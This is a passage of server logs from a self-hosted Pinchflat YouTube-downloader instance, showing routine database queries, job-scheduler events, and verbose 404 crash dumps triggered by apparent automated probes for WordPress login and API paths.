s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.786 [debug] QUERY OK source="settings" db=0.1ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.787 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:14.788 [info] Sent 200 in 11ms 21:43:14.802 [info] GET /sources/10/media/12658/edit 21:43:14.802 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12658", "source_id" => "10"} Pipelines: [:browser] 21:43:14.803 [debug] QUERY OK source="media_items" db=0.2ms idle=18.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12658] 21:43:14.803 [debug] QUERY OK source="settings" db=0.2ms idle=18.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.803 [debug] QUERY OK source="settings" db=0.1ms idle=17.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.804 [debug] QUERY OK source="settings" db=0.1ms idle=17.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.805 [info] Sent 200 in 2ms 21:43:14.828 [info] GET /sources/de2e0ccc-32e6-45da-9fd9-3b6050185655/feed.xml 21:43:14.828 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "de2e0ccc-32e6-45da-9fd9-3b6050185655"} Pipelines: [:maybe_basic_auth] 21:43:14.830 [debug] QUERY OK source="sources" db=0.5ms idle=41.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["de2e0ccc-32e6-45da-9fd9-3b6050185655"] 21:43:14.847 [debug] QUERY OK source="media_items" db=17.3ms idle=27.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [7, 2000] 21:43:14.945 [debug] QUERY OK source="source_metadata" db=0.2ms idle=141.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [7] 21:43:14.946 [info] Sent 200 in 118ms 21:43:20.650 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:50.655 [info] {"source":"oban","duration":2431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.237 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:44:20.661 [info] {"source":"oban","duration":2296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:46.830 [info] GET / 21:44:46.830 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:44:46.835 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1013.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:46.836 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.3ms idle=1018.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:44:46.837 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1019.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:44:46.839 [debug] QUERY OK source="media_items" db=1.7ms idle=1020.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:44:46.840 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=155.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:44:46.842 [debug] QUERY OK source="settings" db=0.4ms queue=0.3ms idle=9.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:46.843 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:46.844 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:46.847 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=6.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:44:46.850 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=8.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:44:46.852 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=8.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:44:46.854 [debug] QUERY OK source="sources" db=0.7ms queue=0.3ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:44:46.859 [debug] QUERY OK source="media_items" db=2.3ms idle=12.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:44:46.863 [debug] QUERY OK source="media_items" db=2.7ms queue=0.1ms idle=13.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:44:46.864 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=13.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:44:46.867 [info] Sent 200 in 37ms 21:44:47.930 [info] GET /wp-login.php 21:44:47.932 [debug] QUERY OK source="settings" db=0.8ms queue=0.3ms idle=1077.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:47.933 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1073.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:47.934 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:44:47.935 [error] #PID<0.36890.0> running PinchflatWeb.Endpoint (connection #PID<0.36888.0>, stream id 2) terminated Server: youtube.plexultra.com:80 (http) Request: GET /wp-login.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36888.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 34264}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36890.0>, params: %{}, path_info: ["wp-login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/wp-login.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM9uusSE2vFHQAAWuj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36888.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 34264}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36888.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 34264}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36890.0>, params: %{}, path_info: ["wp-login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"reque (truncated) 21:44:48.734 [info] GET /wp-json/ 21:44:48.736 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1871.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:48.737 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1048.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:48.738 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:44:48.738 [error] #PID<0.36891.0> running PinchflatWeb.Endpoint (connection #PID<0.36888.0>, stream id 3) terminated Server: youtube.plexultra.com:80 (http) Request: GET /wp-json/ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-json (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36888.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 34264}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36891.0>, params: %{}, path_info: ["wp-json"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/wp-json/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM9xuXjetcm3UAAWYk"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36888.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 34264}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-json (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36888.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 34264}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: 